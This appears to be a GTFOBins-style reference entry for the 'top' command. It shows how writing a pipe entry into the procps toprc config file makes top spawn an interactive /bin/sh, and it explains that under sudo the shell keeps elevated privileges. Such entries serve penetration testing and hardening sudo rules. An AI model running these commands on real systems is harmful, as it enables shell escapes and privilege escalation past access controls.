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• Shell

Shell

This executable can spawn an interactive system shell.

• Comment

  The config path might be different.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
  top
  # press return twice
  reset

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
  top
  # press return twice
  reset

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